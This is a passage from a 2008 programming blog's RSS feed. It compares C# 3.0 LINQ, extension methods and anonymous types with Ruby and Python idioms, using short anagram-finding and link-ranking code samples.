&lt;img alt="Without System.Linq, Array has 20 methods" src="http://jfoscoding.googlepages.com/nolinq.jpg" text="Without System.Linq, Array has 20 methods"&gt;
&lt;/p&gt;
USING SYSTEM.LINQ (68 methods)&lt;br&gt;
&lt;p&gt;
&lt;img alt="Using System.Linq, Array has 68 methods" src="http://jfoscoding.googlepages.com/withlinq.jpg" text="Using System.Linq, Array has 68 methods"&gt; 
&lt;/p&gt;
&lt;p&gt;
I did find this disconcerting at first but I got used to it. 
&lt;/p&gt;
&lt;p&gt;
It should be noted that “open classes” in Ruby come with a bunch more features than
extension methods in C# 3.0. For example, Ruby has &lt;a href="http://www.rubycentral.com/pickaxe/ref_c_module.html#Module.remove_method"&gt;remove_method&lt;/a&gt;&amp;nbsp;and &lt;a href="http://www.rubycentral.com/pickaxe/ref_c_module.html#Module.undef_method"&gt;undef_method&lt;/a&gt;&amp;nbsp;which
allows developers to remove methods from a class. This is particularly useful if there
is a particularly buggy or insecure method you’d rather was not used by developers
in your project. Much better than simply relying on the &lt;a href="http://blogs.msdn.com/brada/archive/2004/11/22/267950.aspx"&gt;Obsolete
attribute&lt;/a&gt;. &lt;img title=Smile style="VERTICAL-ALIGN: middle" alt=Smile src="http://shared.live.com/QGncRMHLLpIcOfCh--4aMA/emoticons/smile_regular.gif"&gt; 
&lt;/p&gt;
&lt;p&gt;
One problem I had with C# is that I can’t create an extension property only methods
(so my CanonicalizedUri() had to be a method not a property like Uri.AbsoluteUri).&amp;nbsp;
I assume this is due to&amp;nbsp;difficulty in coming up with a backwards compatible extension
to the syntax for properties. Either way, it sucks. You can count me as another developer
who is &lt;a href="http://forums.microsoft.com/MSDN/ShowPost.aspx?PostID=1170257&amp;amp;SiteID=1"&gt;voting
for extension properties in C# 4.0&lt;/a&gt;&amp;nbsp;(or whatever comes next). 
&lt;/p&gt;
&lt;p&gt;
&lt;strong&gt;Now playing:&lt;/strong&gt; &lt;a href="http://phobos.apple.com/WebObjects/MZSearch.woa/wa/advancedSearchResults?artistTerm=Oomp Camp"&gt;Oomp
Camp&lt;/a&gt; - &lt;a href="http://phobos.apple.com/WebObjects/MZSearch.woa/wa/advancedSearchResults?songTerm=Intoxicated&amp;amp;artistTerm=Oomp Camp"&gt;Intoxicated&lt;/a&gt;
&lt;/p&gt;
&lt;img width="0" height="0" src="http://www.25hoursaday.com/weblog/aggbug.ashx?id=9be0cbf1-2fc4-43d6-a764-5ef50e090673" /&gt;</description>
      <comments>http://www.25hoursaday.com/weblog/CommentView,guid,9be0cbf1-2fc4-43d6-a764-5ef50e090673.aspx</comments>
      <category>Programming</category>
    </item>
    <item>
      <trackback:ping>http://www.25hoursaday.com/weblog/Trackback.aspx?guid=3ec2ddad-af8f-4167-bb97-da95c941e881</trackback:ping>
      <pingback:server>http://www.25hoursaday.com/weblog/pingback.aspx</pingback:server>
      <pingback:target>http://www.25hoursaday.com/weblog/PermaLink,guid,3ec2ddad-af8f-4167-bb97-da95c941e881.aspx</pingback:target>
      <dc:creator />
      <wfw:comment>http://www.25hoursaday.com/weblog/CommentView,guid,3ec2ddad-af8f-4167-bb97-da95c941e881.aspx</wfw:comment>
      <wfw:commentRss>http://www.25hoursaday.com/weblog/SyndicationService.asmx/GetEntryCommentsRss?guid=3ec2ddad-af8f-4167-bb97-da95c941e881</wfw:commentRss>
      <slash:comments>5</slash:comments>
      <body xmlns="http://www.w3.org/1999/xhtml">
        <p>
Brad Fitzpatrick, founder of Livejournal, has a blog post entitled <a title="http://brad.livejournal.com/2354680.html" href="http://brad.livejournal.com/2354680.html">Naming
twins in Python &amp; Perl</a> where he writes
</p>
        <blockquote>
          <p>
            <em>Last night at Beau's party, one of Beau's guests mentioned he's expecting twins
shortly, which is why is wife wasn't at the party. 
<br />
I drunkenly suggested he name his kids two names that were anagrams of each other.
I then wandered off downstairs to find such suitable names. 
<br />
Because I'm supposed to be be working in Python these days, not Perl, I gathered what
little Python knowledge I had and wrote out: </em>
          </p>
          <blockquote>
            <pre>
              <em>#!/usr/bin/python by_anagram = {} names_file = open("<a href="http://www.census.gov/genealogy/names/dist.male.first ">dist.male.first</a>")
for line in names_file: # lines in file look like: # WILLIAM 2.451 14.812 5 # we want
just the first field. name = (line.split())[0] letters = [letter for letter in name]
letters.sort() sorted_name = "".join(letters) if not sorted_name in by_anagram:
by_anagram[sorted_name] = [] by_anagram[sorted_name].append(name) for sorted_name
in by_anagram: if len(by_anagram[sorted_name]) &lt; 2: continue print by_anagram[sorted_name] </em>
            </pre>
          </blockquote>
          <em>Not so happy with it, but it worked, and I printed out the results
and brought them up to the guy</em>
        </blockquote>
        <p>
You can guess where this is going. Below is my solution in C# 3.0 
</p>
        <blockquote>
          <pre class="code">
            <span style="color: blue">using </span>System; <span style="color: blue">using </span>System<span style="color: red">.</span>Linq; <span style="color: blue">using </span>System<span style="color: red">.</span>IO; <span style="color: blue">namespace </span>Name_agram{ <span style="color: blue">class </span><span style="color: #2b91af">Program</span>{ <span style="color: blue">static
void </span>Main(<span style="color: blue">string</span>[] args){ <span style="color: blue">var </span>names <span style="color: red">= </span><span style="color: blue">from </span>line <span style="color: blue">in </span><span style="color: #2b91af">File</span><span style="color: red">.</span>ReadAllLines(<span style="color: #a31515">"dist.male.first.txt"</span>) <span style="color: blue">let </span>name <span style="color: red">= </span>line<span style="color: red">.</span>Split(<span style="color: #a31515">'
'</span>)[<span style="color: purple">0</span>] <span style="color: blue">group </span>name <span style="color: blue">by
new string</span>(name<span style="color: red">.</span>ToCharArray()<span style="color: red">.</span>OrderBy(x<span style="color: red">=&gt;</span>x)<span style="color: red">.</span>ToArray()) <span style="color: blue">into </span>anagrams <span style="color: blue">select </span>anagrams; <span style="color: blue">foreach </span>(<span style="color: blue">var </span>list_of_names <span style="color: blue">in </span>names)
{ <span style="color: blue">if </span>(list_of_names<span style="color: red">.</span>Count() <span style="color: red">&gt; </span><span style="color: purple">1</span>) <span style="color: #2b91af">Console</span><span style="color: red">.</span>WriteLine(<span style="color: #2b91af">String</span><span style="color: red">.</span>Join(<span style="color: #a31515">"
"</span>,list_of_names<span style="color: red">.</span>ToArray())); } <span style="color: #2b91af">Console</span><span style="color: red">.</span>ReadLine();
} } }</pre>
          <a href="http://11011.net/software/vspaste">
          </a>
        </blockquote>
        <p>
There are a ton of solutions in various languages in the comments to Brad's post.
Again, it is startling to see how different an idiomatic C# 3.0 solution using LINQ
is from the traditional imperative/procedural style of programming.
</p>
        <p>
          <b>Now Playing</b>: <a href="http://phobos.apple.com/WebObjects/MZSearch.woa/wa/advancedSearchResults?artistTerm=Rick James">Rick
James</a> - <a href="http://phobos.apple.com/WebObjects/MZSearch.woa/wa/advancedSearchResults?artistTerm=Rick James&amp;songTerm=Give It To Me Baby">Give
It To Me Baby</a></p>
        <img width="0" height="0" src="http://www.25hoursaday.com/weblog/aggbug.ashx?id=3ec2ddad-af8f-4167-bb97-da95c941e881" />
      </body>
      <title>Finding Names that are Anagrams of Each Other in C# 3.0</title>
      <guid isPermaLink="false">http://www.25hoursaday.com/weblog/PermaLink,guid,3ec2ddad-af8f-4167-bb97-da95c941e881.aspx</guid>
      <link>http://www.25hoursaday.com/weblog/2008/01/08/FindingNamesThatAreAnagramsOfEachOtherInC30.aspx</link>
      <pubDate>Tue, 08 Jan 2008 15:29:51 GMT</pubDate>
      <description>&lt;p&gt;
Brad Fitzpatrick, founder of Livejournal, has a blog post entitled &lt;a title="http://brad.livejournal.com/2354680.html" href="http://brad.livejournal.com/2354680.html"&gt;Naming
twins in Python &amp;amp; Perl&lt;/a&gt; where he writes
&lt;/p&gt;
&lt;blockquote&gt; 
&lt;p&gt;
&lt;em&gt;Last night at Beau's party, one of Beau's guests mentioned he's expecting twins
shortly, which is why is wife wasn't at the party. 
&lt;br /&gt;
I drunkenly suggested he name his kids two names that were anagrams of each other.
I then wandered off downstairs to find such suitable names. 
&lt;br /&gt;
Because I'm supposed to be be working in Python these days, not Perl, I gathered what
little Python knowledge I had and wrote out: &lt;/em&gt;
&lt;/p&gt;
&lt;blockquote&gt; &lt;pre&gt;&lt;em&gt;#!/usr/bin/python by_anagram = {} names_file = open(&amp;quot;&lt;a href="http://www.census.gov/genealogy/names/dist.male.first "&gt;dist.male.first&lt;/a&gt;&amp;quot;)
for line in names_file: # lines in file look like: # WILLIAM 2.451 14.812 5 # we want
just the first field. name = (line.split())[0] letters = [letter for letter in name]
letters.sort() sorted_name = &amp;quot;&amp;quot;.join(letters) if not sorted_name in by_anagram:
by_anagram[sorted_name] = [] by_anagram[sorted_name].append(name) for sorted_name
in by_anagram: if len(by_anagram[sorted_name]) &amp;lt; 2: continue print by_anagram[sorted_name] &lt;/em&gt;&lt;/pre&gt;
&lt;/blockquote&gt; &lt;em&gt;Not so happy with it, but it worked, and I printed out the results
and brought them up to the guy&lt;/em&gt;&lt;/blockquote&gt; 
&lt;p&gt;
You can guess where this is going. Below is my solution in C# 3.0 
&lt;/p&gt;
&lt;blockquote&gt; &lt;pre class="code"&gt;&lt;span style="color: blue"&gt;using &lt;/span&gt;System; &lt;span style="color: blue"&gt;using &lt;/span&gt;System&lt;span style="color: red"&gt;.&lt;/span&gt;Linq; &lt;span style="color: blue"&gt;using &lt;/span&gt;System&lt;span style="color: red"&gt;.&lt;/span&gt;IO; &lt;span style="color: blue"&gt;namespace &lt;/span&gt;Name_agram{ &lt;span style="color: blue"&gt;class &lt;/span&gt;&lt;span style="color: #2b91af"&gt;Program&lt;/span&gt;{ &lt;span style="color: blue"&gt;static
void &lt;/span&gt;Main(&lt;span style="color: blue"&gt;string&lt;/span&gt;[] args){ &lt;span style="color: blue"&gt;var &lt;/span&gt;names &lt;span style="color: red"&gt;= &lt;/span&gt;&lt;span style="color: blue"&gt;from &lt;/span&gt;line &lt;span style="color: blue"&gt;in &lt;/span&gt;&lt;span style="color: #2b91af"&gt;File&lt;/span&gt;&lt;span style="color: red"&gt;.&lt;/span&gt;ReadAllLines(&lt;span style="color: #a31515"&gt;&amp;quot;dist.male.first.txt&amp;quot;&lt;/span&gt;) &lt;span style="color: blue"&gt;let &lt;/span&gt;name &lt;span style="color: red"&gt;= &lt;/span&gt;line&lt;span style="color: red"&gt;.&lt;/span&gt;Split(&lt;span style="color: #a31515"&gt;'
'&lt;/span&gt;)[&lt;span style="color: purple"&gt;0&lt;/span&gt;] &lt;span style="color: blue"&gt;group &lt;/span&gt;name &lt;span style="color: blue"&gt;by
new string&lt;/span&gt;(name&lt;span style="color: red"&gt;.&lt;/span&gt;ToCharArray()&lt;span style="color: red"&gt;.&lt;/span&gt;OrderBy(x&lt;span style="color: red"&gt;=&amp;gt;&lt;/span&gt;x)&lt;span style="color: red"&gt;.&lt;/span&gt;ToArray()) &lt;span style="color: blue"&gt;into &lt;/span&gt;anagrams &lt;span style="color: blue"&gt;select &lt;/span&gt;anagrams; &lt;span style="color: blue"&gt;foreach &lt;/span&gt;(&lt;span style="color: blue"&gt;var &lt;/span&gt;list_of_names &lt;span style="color: blue"&gt;in &lt;/span&gt;names)
{ &lt;span style="color: blue"&gt;if &lt;/span&gt;(list_of_names&lt;span style="color: red"&gt;.&lt;/span&gt;Count() &lt;span style="color: red"&gt;&amp;gt; &lt;/span&gt;&lt;span style="color: purple"&gt;1&lt;/span&gt;) &lt;span style="color: #2b91af"&gt;Console&lt;/span&gt;&lt;span style="color: red"&gt;.&lt;/span&gt;WriteLine(&lt;span style="color: #2b91af"&gt;String&lt;/span&gt;&lt;span style="color: red"&gt;.&lt;/span&gt;Join(&lt;span style="color: #a31515"&gt;&amp;quot;
&amp;quot;&lt;/span&gt;,list_of_names&lt;span style="color: red"&gt;.&lt;/span&gt;ToArray())); } &lt;span style="color: #2b91af"&gt;Console&lt;/span&gt;&lt;span style="color: red"&gt;.&lt;/span&gt;ReadLine();
} } }&lt;/pre&gt;
&lt;a href="http://11011.net/software/vspaste"&gt;&lt;/a&gt;&lt;/blockquote&gt; 
&lt;p&gt;
There are a ton of solutions in various languages in the comments to Brad's post.
Again, it is startling to see how different an idiomatic C# 3.0 solution using LINQ
is from the traditional imperative/procedural style of programming.
&lt;/p&gt;
&lt;p&gt;
&lt;b&gt;Now Playing&lt;/b&gt;: &lt;a href="http://phobos.apple.com/WebObjects/MZSearch.woa/wa/advancedSearchResults?artistTerm=Rick James"&gt;Rick
James&lt;/a&gt; - &lt;a href="http://phobos.apple.com/WebObjects/MZSearch.woa/wa/advancedSearchResults?artistTerm=Rick James&amp;amp;songTerm=Give It To Me Baby"&gt;Give
It To Me Baby&lt;/a&gt;
&lt;/p&gt;
&lt;img width="0" height="0" src="http://www.25hoursaday.com/weblog/aggbug.ashx?id=3ec2ddad-af8f-4167-bb97-da95c941e881" /&gt;</description>
      <comments>http://www.25hoursaday.com/weblog/CommentView,guid,3ec2ddad-af8f-4167-bb97-da95c941e881.aspx</comments>
      <category>Programming</category>
    </item>
    <item>
      <trackback:ping>http://www.25hoursaday.com/weblog/Trackback.aspx?guid=271dcfd6-03f6-4a03-8053-d16342b8886d</trackback:ping>
      <pingback:server>http://www.25hoursaday.com/weblog/pingback.aspx</pingback:server>
      <pingback:target>http://www.25hoursaday.com/weblog/PermaLink,guid,271dcfd6-03f6-4a03-8053-d16342b8886d.aspx</pingback:target>
      <dc:creator />
      <wfw:comment>http://www.25hoursaday.com/weblog/CommentView,guid,271dcfd6-03f6-4a03-8053-d16342b8886d.aspx</wfw:comment>
      <wfw:commentRss>http://www.25hoursaday.com/weblog/SyndicationService.asmx/GetEntryCommentsRss?guid=271dcfd6-03f6-4a03-8053-d16342b8886d</wfw:commentRss>
      <slash:comments>9</slash:comments>
      <title>Python vs C# 3.0: Tuples vs. Anonymous Types (Redux)</title>
      <guid isPermaLink="false">http://www.25hoursaday.com/weblog/PermaLink,guid,271dcfd6-03f6-4a03-8053-d16342b8886d.aspx</guid>
      <link>http://www.25hoursaday.com/weblog/2008/01/05/PythonVsC30TuplesVsAnonymousTypesRedux.aspx</link>
      <pubDate>Sat, 05 Jan 2008 15:55:32 GMT</pubDate>
      <description>&lt;p&gt;
One of the things to keep in mind when learning a new programming language is that
it isn&amp;rsquo;t enough to learn the syntax and semantics of various language features
you are unfamiliar with. Just as important is learning the idioms and way of thinking
that goes with these language features. On reddit, &lt;a href="http://programming.reddit.com/info/64beq/comments/c02sndj"&gt;ubernostrum
pointed out&lt;/a&gt; that my usage of 
&lt;/p&gt;
&lt;blockquote&gt; 
&lt;p&gt;
&lt;font face="Courier New"&gt;if all_links.get(url) == None:&lt;/font&gt;
&lt;/p&gt;
&lt;/blockquote&gt; 
&lt;p&gt;
was jarring to read as a Python programmer when compared to the more idiomatic 
&lt;/p&gt;
&lt;blockquote&gt; 
&lt;p&gt;
&lt;font face="Courier New"&gt;if url not in all_links:&lt;/font&gt;
&lt;/p&gt;
&lt;/blockquote&gt; 
&lt;p&gt;
Of course this is just a stylistic issue but his point is valid. A similar thing happened
with regards to other aspects of my&amp;nbsp;recent post entitled &lt;a href="http://www.25hoursaday.com/weblog/2008/01/02/DoesC30BeatDynamicLanguagesAtTheirOwnGame.aspx"&gt;Does
C# 3.0 Beat Dynamic Languages at their Own Game?&lt;/a&gt;&amp;nbsp; 
&lt;/p&gt;
&lt;p&gt;
I argued that type inferencing and anonymous types in C# 3.0 did not offer the same&amp;nbsp;degree
of&amp;nbsp;functionality that tuples and dynamic typing did when it came to processing
intermediate values in a computation without requiring nominal types (i.e. named classes)
to hold these values. 
&lt;/p&gt;
&lt;p&gt;
Specifically I had the following IronPython code, 
&lt;/p&gt;
&lt;blockquote&gt; 
&lt;p&gt;
&lt;strong&gt;IronPython Code&lt;/strong&gt;
&lt;/p&gt;
&lt;p&gt;
&lt;font color="#c00000"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; for&lt;/font&gt; &lt;font color="#000000"&gt;item&lt;/font&gt; &lt;font color="#c00000"&gt;in&lt;/font&gt; &lt;font color="#000000"&gt;filteredItems&lt;/font&gt;&lt;font color="#0000c0"&gt;:&lt;/font&gt;
&lt;br /&gt;
&amp;nbsp;&lt;em&gt;&lt;font color="#ff0000"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
vote = (voteFunc(item), item, feedTitle)&lt;/font&gt;&lt;/em&gt;
&lt;/p&gt;
&lt;p&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;font color="#008000"&gt;#add
a vote for each of the URLs&lt;br /&gt;
&lt;/font&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;font color="#c00000"&gt;for&lt;/font&gt; &lt;font color="#000000"&gt;url&lt;/font&gt; &lt;font color="#c00000"&gt;in&lt;/font&gt; &lt;font color="#000000"&gt;item&lt;/font&gt;&lt;font color="#0000c0"&gt;.&lt;/font&gt;&lt;font color="#000000"&gt;outgoing_links&lt;/font&gt;&lt;font color="#0000c0"&gt;.&lt;/font&gt;&lt;font color="#000000"&gt;Keys&lt;/font&gt;&lt;font color="#0000c0"&gt;:&lt;/font&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;font color="#c00000"&gt;if&lt;/font&gt; all_links&lt;font color="#0000c0"&gt;.&lt;/font&gt;&lt;font color="#000000"&gt;get&lt;/font&gt;&lt;font color="#0000c0"&gt;(&lt;/font&gt;&lt;font color="#000000"&gt;url&lt;/font&gt;&lt;font color="#0000c0"&gt;)&lt;/font&gt; &lt;font color="#0000c0"&gt;is &lt;/font&gt;&lt;font color="#000000"&gt;None&lt;/font&gt;&lt;font color="#0000c0"&gt;:&lt;/font&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
all_links&lt;font color="#0000c0"&gt;[&lt;/font&gt;&lt;font color="#000000"&gt;url&lt;/font&gt;&lt;font color="#0000c0"&gt;]&lt;/font&gt; &lt;font color="#0000c0"&gt;=&lt;/font&gt; &lt;font color="#0000c0"&gt;[&lt;/font&gt;&lt;font color="#0000c0"&gt;]&lt;/font&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
all_links&lt;font color="#0000c0"&gt;.&lt;/font&gt;&lt;font color="#000000"&gt;get&lt;/font&gt;&lt;font color="#0000c0"&gt;(&lt;/font&gt;&lt;font color="#000000"&gt;url&lt;/font&gt;&lt;font color="#0000c0"&gt;)&lt;/font&gt;&lt;font color="#0000c0"&gt;.&lt;/font&gt;&lt;font color="#000000"&gt;append&lt;/font&gt;&lt;font color="#0000c0"&gt;(&lt;/font&gt;&lt;font color="#000000"&gt;vote&lt;/font&gt;&lt;font color="#0000c0"&gt;)&lt;/font&gt;
&lt;br /&gt;
&lt;/p&gt;
&lt;p&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;font color="#008000"&gt;# tally the votes, only 1 vote counts
per feed&lt;br /&gt;
&lt;/font&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; weighted_links &lt;font color="#0000c0"&gt;=&lt;/font&gt; &lt;font color="#0000c0"&gt;[&lt;/font&gt;&lt;font color="#0000c0"&gt;]&lt;/font&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;font color="#c00000"&gt;for&lt;/font&gt; &lt;font color="#000000"&gt;link&lt;/font&gt;&lt;font color="#0000c0"&gt;,&lt;/font&gt; &lt;font color="#000000"&gt;votes&lt;/font&gt; &lt;font color="#c00000"&gt;in&lt;/font&gt; &lt;font color="#000000"&gt;all_links&lt;/font&gt;&lt;font color="#0000c0"&gt;.&lt;/font&gt;&lt;font color="#000000"&gt;items&lt;/font&gt;&lt;font color="#0000c0"&gt;(&lt;/font&gt;&lt;font color="#0000c0"&gt;)&lt;/font&gt;&lt;font color="#0000c0"&gt;:&lt;/font&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;font color="#000000"&gt;site&lt;/font&gt; &lt;font color="#0000c0"&gt;=&lt;/font&gt; &lt;font color="#0000c0"&gt;{&lt;/font&gt;&lt;font color="#0000c0"&gt;}&lt;/font&gt;
&lt;br /&gt;
&lt;em&gt;&lt;font color="#ff0000"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; for weight, item,
feedTitle in votes:&lt;br /&gt;
&lt;/font&gt;&lt;/em&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;font color="#000000"&gt;site&lt;/font&gt;&lt;font color="#0000c0"&gt;[&lt;/font&gt;feedTitle&lt;font color="#0000c0"&gt;]&lt;/font&gt; &lt;font color="#0000c0"&gt;=&lt;/font&gt; &lt;font color="#000000"&gt;min&lt;/font&gt;&lt;font color="#0000c0"&gt;(&lt;/font&gt;&lt;font color="#000000"&gt;site&lt;/font&gt;&lt;font color="#0000c0"&gt;.&lt;/font&gt;&lt;font color="#000000"&gt;get&lt;/font&gt;&lt;font color="#0000c0"&gt;(&lt;/font&gt;feedTitle&lt;font color="#0000c0"&gt;,&lt;/font&gt;&lt;font color="#0080c0"&gt;1&lt;/font&gt;&lt;font color="#0000c0"&gt;)&lt;/font&gt;&lt;font color="#0000c0"&gt;,&lt;/font&gt; &lt;font color="#000000"&gt;weight&lt;/font&gt;&lt;font color="#0000c0"&gt;)&lt;/font&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;font color="#000000"&gt;weighted_links&lt;/font&gt;&lt;font color="#0000c0"&gt;.&lt;/font&gt;&lt;font color="#000000"&gt;append&lt;/font&gt;&lt;font color="#0000c0"&gt;(&lt;/font&gt;&lt;font color="#0000c0"&gt;(&lt;/font&gt;&lt;font color="#000000"&gt;sum&lt;/font&gt;&lt;font color="#0000c0"&gt;(&lt;/font&gt;&lt;font color="#000000"&gt;site&lt;/font&gt;&lt;font color="#0000c0"&gt;.&lt;/font&gt;&lt;font color="#000000"&gt;values&lt;/font&gt;&lt;font color="#0000c0"&gt;(&lt;/font&gt;&lt;font color="#0000c0"&gt;)&lt;/font&gt;&lt;font color="#0000c0"&gt;)&lt;/font&gt;&lt;font color="#0000c0"&gt;,&lt;/font&gt; &lt;font color="#000000"&gt;link&lt;/font&gt;&lt;font color="#0000c0"&gt;)&lt;/font&gt;&lt;font color="#0000c0"&gt;)&lt;/font&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;font color="#000000"&gt;weighted_links&lt;/font&gt;&lt;font color="#0000c0"&gt;.&lt;/font&gt;&lt;font color="#000000"&gt;sort&lt;/font&gt;&lt;font color="#0000c0"&gt;(&lt;/font&gt;&lt;font color="#0000c0"&gt;)&lt;/font&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; weighted_links&lt;font color="#0000c0"&gt;.&lt;/font&gt;&lt;font color="#000000"&gt;reverse&lt;/font&gt;&lt;font color="#0000c0"&gt;(&lt;/font&gt;&lt;font color="#0000c0"&gt;)&lt;/font&gt;
&lt;/p&gt;
&lt;/blockquote&gt; 
&lt;p&gt;
The key things to note about the above code block are (i) the variable named &lt;strong&gt;vote&lt;/strong&gt; is
a tuple of three values; the numeric weight given to a link received from a particular
RSS item, an RSS item and the title of the feed Python and (ii) the items in the tuple
can be unpacked into individual variables when looping over the contents of the tuple
in a &lt;code&gt;for&lt;/code&gt; loop. 
&lt;/p&gt;
&lt;p&gt;
When I tried to write the same code in C# 3.0 with a &lt;strong&gt;vote&lt;/strong&gt; variable
that was an anonymous type, I hit a road block. When I placed instances of the anonymous
type in the list, I had no way of knowing what the data type of the object I&amp;rsquo;d
be&amp;nbsp;pulling out of the list would be when I wanted to extract it later to tally
the votes. Since C# is statically typed, knowing the type&amp;rsquo;s name is&amp;nbsp;a requirement
for retrieving the objects from the list later unless I planned to interact with them
as instances of System.Object and access their fields through reflection (or something &lt;a href="http://www.25hoursaday.com/weblog/CommentView.aspx?guid=524bbdc9-900e-4ff2-b282-22d6971ce074#commentstart"&gt;just
as weird&lt;/a&gt;). 
&lt;/p&gt;
&lt;p&gt;
So in my C# 3.0 solution I ended up creating &lt;strong&gt;RankedLink&lt;/strong&gt; and &lt;strong&gt;Vote&lt;/strong&gt; types
to simulate the functionality I was getting from tuples in Python. 
&lt;/p&gt;
&lt;p&gt;
However it turns out I was using anonymous types incorrectly. I tried to take a feature
that was meant to be coupled with C# 3.0&amp;rsquo;s declarative Language Integrated Query
(LINQ) and use it in the traditional imperative loop constructs I&amp;rsquo;ve been familiar
with since my days programming in C. 
&lt;/p&gt;
&lt;p&gt;
Ian Griffith&amp;rsquo;s set me straight with his blog post entitled &lt;a href="http://www.interact-sw.co.uk/iangblog/2008/01/04/anon-type-flow"&gt;Dare
Obasanjo on C# Anonymous Types&lt;/a&gt;&amp;nbsp;where he showed how to use anonymous types
to get the solution I wanted without having to create unnecessary named types to hold
intermediate values. Ian&amp;rsquo;s code is shown below &lt;blockquote&gt; 
&lt;p&gt;
&lt;strong&gt;C# 3.0&lt;/strong&gt;&lt;strong&gt;&amp;nbsp;Code&lt;/strong&gt;&lt;pre&gt;&lt;span style="COLOR: green"&gt;//
calculate vote for each outgoing url&lt;/span&gt; &lt;span style="COLOR: blue"&gt;var&lt;/span&gt; all_links
= &lt;span style="COLOR: blue"&gt;from&lt;/span&gt; item &lt;span style="COLOR: blue"&gt;in&lt;/span&gt; items &lt;span style="COLOR: blue"&gt;from&lt;/span&gt; url &lt;span style="COLOR: blue"&gt;in&lt;/span&gt; item.OutgoingLinks.Keys &lt;span style="COLOR: blue"&gt;group&lt;/span&gt; item &lt;span style="COLOR: blue"&gt;by&lt;/span&gt; url &lt;span style="COLOR: blue"&gt;into&lt;/span&gt; itemUrlGroup &lt;span style="COLOR: blue"&gt;select&lt;/span&gt; &lt;span style="COLOR: blue"&gt;new&lt;/span&gt; {
Url=itemUrlGroup.Key, Votes=&lt;span style="COLOR: blue"&gt;from&lt;/span&gt; item &lt;span style="COLOR: blue"&gt;in&lt;/span&gt; itemUrlGroup &lt;span style="COLOR: blue"&gt;select&lt;/span&gt; &lt;span style="COLOR: blue"&gt;new&lt;/span&gt; {
Weight=voteFunc(item), Item=item, FeedTitle=feedTitle } }; &lt;span style="COLOR: green"&gt;//
tally the votes&lt;/span&gt; &lt;span style="COLOR: blue"&gt;var&lt;/span&gt; weighted_links = &lt;span style="COLOR: blue"&gt;from&lt;/span&gt; link_n_votes &lt;span style="COLOR: blue"&gt;in&lt;/span&gt; all_links &lt;span style="COLOR: blue"&gt;select&lt;/span&gt; &lt;span style="COLOR: blue"&gt;new&lt;/span&gt; {
Url=link_n_votes.Url, Score=(&lt;span style="COLOR: blue"&gt;from&lt;/span&gt; vote &lt;span style="COLOR: blue"&gt;in&lt;/span&gt; link_n_votes.Votes &lt;span style="COLOR: blue"&gt;group&lt;/span&gt; vote &lt;span style="COLOR: blue"&gt;by&lt;/span&gt; vote.FeedTitle &lt;span style="COLOR: blue"&gt;into&lt;/span&gt; feed &lt;span style="COLOR: blue"&gt;select&lt;/span&gt; feed.Min(vote
=&amp;gt; vote.Weight) ).Sum() } &lt;span style="COLOR: blue"&gt;into&lt;/span&gt; weighted_link &lt;span style="COLOR: blue"&gt;orderby&lt;/span&gt; weighted_link.Score &lt;span style="COLOR: blue"&gt;descending&lt;/span&gt; &lt;span style="COLOR: blue"&gt;select&lt;/span&gt; weighted_link;&lt;/pre&gt;&lt;/blockquote&gt; 
&lt;p&gt;
As you can see, Ian&amp;rsquo;s code performs the same task as the Python code does but&amp;nbsp;with
a&amp;nbsp;completely different approach. The anonymous types are performing the same
function as the Python tuples did in my previous code sample and there is no need
to create&amp;nbsp;&lt;strong&gt;RankedLink&lt;/strong&gt; and &lt;strong&gt;Vote&lt;/strong&gt; types to hold
these intermediate values. 
&lt;/p&gt;
&lt;p&gt;
What I find&amp;nbsp;interesting about this is that even though I&amp;rsquo;ve been using
C# for the past five or six years, I feel like I have to relearn the language from
scratch to fully understand or be able to take advantage the LINQ features. Perhaps
a few stints as a SQL developer may be necessary as well? &lt;img src="http://shared.live.com/QGncRMHLLpIcOfCh--4aMA/emoticons/smile_regular.gif" /&gt;&amp;nbsp;
&lt;/p&gt;
&lt;p&gt;
&amp;nbsp;
&lt;/p&gt;
